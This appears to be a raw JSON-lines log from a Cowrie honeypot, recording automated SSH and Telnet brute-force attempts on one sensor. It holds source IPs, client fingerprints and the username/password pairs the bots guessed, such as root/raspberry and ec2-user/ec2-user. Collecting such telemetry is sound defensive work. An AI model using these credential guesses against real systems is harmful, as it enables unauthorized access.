{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:35.614815Z","src_ip":"45.153.34.112","session":"53d7b754da6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:36.708974Z","src_ip":"45.153.34.112","session":"53d7b754da6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.112.253","src_port":55234,"dst_ip":"10.17.0.5","dst_port":22,"session":"69cbeb835e00","protocol":"ssh","message":"New connection: 43.153.112.253:55234 (10.17.0.5:22) [session: 69cbeb835e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:38.434818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:38.505071Z","src_ip":"43.153.112.253","session":"69cbeb835e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:38.573738Z","src_ip":"43.153.112.253","session":"69cbeb835e00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33746,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9731c805cc","protocol":"ssh","message":"New connection: 45.153.34.112:33746 (10.17.0.5:22) [session: 0c9731c805cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:38.685914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:38.691134Z","src_ip":"45.153.34.112","session":"0c9731c805cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:38.773096Z","src_ip":"45.153.34.112","session":"0c9731c805cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:38.837914Z","src_ip":"43.153.112.253","session":"69cbeb835e00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:39.021719Z","src_ip":"45.153.34.112","session":"0c9731c805cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.459935903549194,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:39.048696Z","src_ip":"192.119.13.58","session":"e0cb52b4277d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:39.909292Z","src_ip":"43.153.112.253","session":"69cbeb835e00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.633596658706665,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:40.065360Z","src_ip":"192.119.13.58","session":"11e03995bacb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:40.106621Z","src_ip":"45.153.34.112","session":"0c9731c805cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.1324725151062,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:40.714270Z","src_ip":"192.119.13.58","session":"bd7ce595e60e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":36252,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a5a5822eee4","protocol":"ssh","message":"New connection: 170.238.160.191:36252 (10.17.0.5:22) [session: 1a5a5822eee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:41.977413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:41.982181Z","src_ip":"170.238.160.191","session":"1a5a5822eee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:42.093308Z","src_ip":"170.238.160.191","session":"1a5a5822eee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45618,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf8838063dd4","protocol":"ssh","message":"New connection: 45.153.34.112:45618 (10.17.0.5:22) [session: cf8838063dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:42.106290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:42.126601Z","src_ip":"45.153.34.112","session":"cf8838063dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:42.191231Z","src_ip":"45.153.34.112","session":"cf8838063dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user","message":"login attempt [ec2-user/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:42.510357Z","src_ip":"45.153.34.112","session":"cf8838063dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nosceteipsum","message":"login attempt [root/nosceteipsum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:42.570392Z","src_ip":"170.238.160.191","session":"1a5a5822eee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:43.596204Z","src_ip":"45.153.34.112","session":"cf8838063dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:43.689214Z","src_ip":"170.238.160.191","session":"1a5a5822eee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45634,"dst_ip":"10.17.0.5","dst_port":22,"session":"13a5fd4e8c2a","protocol":"ssh","message":"New connection: 45.153.34.112:45634 (10.17.0.5:22) [session: 13a5fd4e8c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:45.638309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:45.643429Z","src_ip":"45.153.34.112","session":"13a5fd4e8c2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:45.727040Z","src_ip":"45.153.34.112","session":"13a5fd4e8c2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:45.985416Z","src_ip":"45.153.34.112","session":"13a5fd4e8c2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:47.127201Z","src_ip":"45.153.34.112","session":"13a5fd4e8c2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51688,"dst_ip":"10.17.0.5","dst_port":23,"session":"4204cd7d2c59","protocol":"telnet","message":"New connection: 192.119.13.58:51688 (10.17.0.5:23) [session: 4204cd7d2c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:48.733906Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":45648,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba07e515a88","protocol":"ssh","message":"New connection: 45.153.34.112:45648 (10.17.0.5:22) [session: 0ba07e515a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:49.048759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:49.054039Z","src_ip":"45.153.34.112","session":"0ba07e515a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:49.141877Z","src_ip":"45.153.34.112","session":"0ba07e515a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54864,"dst_ip":"10.17.0.5","dst_port":23,"session":"03d9b5420081","protocol":"telnet","message":"New connection: 192.119.13.58:54864 (10.17.0.5:23) [session: 03d9b5420081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:49.450796Z"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:49.552671Z","src_ip":"45.153.34.112","session":"0ba07e515a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:50.639305Z","src_ip":"45.153.34.112","session":"0ba07e515a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55380,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e4c5a23e5a","protocol":"ssh","message":"New connection: 45.153.34.112:55380 (10.17.0.5:22) [session: 71e4c5a23e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:52.613968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:52.618382Z","src_ip":"45.153.34.112","session":"71e4c5a23e5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:52.700380Z","src_ip":"45.153.34.112","session":"71e4c5a23e5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:52.947184Z","src_ip":"45.153.34.112","session":"71e4c5a23e5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:54.040567Z","src_ip":"45.153.34.112","session":"71e4c5a23e5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":55384,"dst_ip":"10.17.0.5","dst_port":22,"session":"233cb8894557","protocol":"ssh","message":"New connection: 45.153.34.112:55384 (10.17.0.5:22) [session: 233cb8894557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:56.053324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:56.061971Z","src_ip":"45.153.34.112","session":"233cb8894557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:13:56.143870Z","src_ip":"45.153.34.112","session":"233cb8894557","protocol":"ssh"}
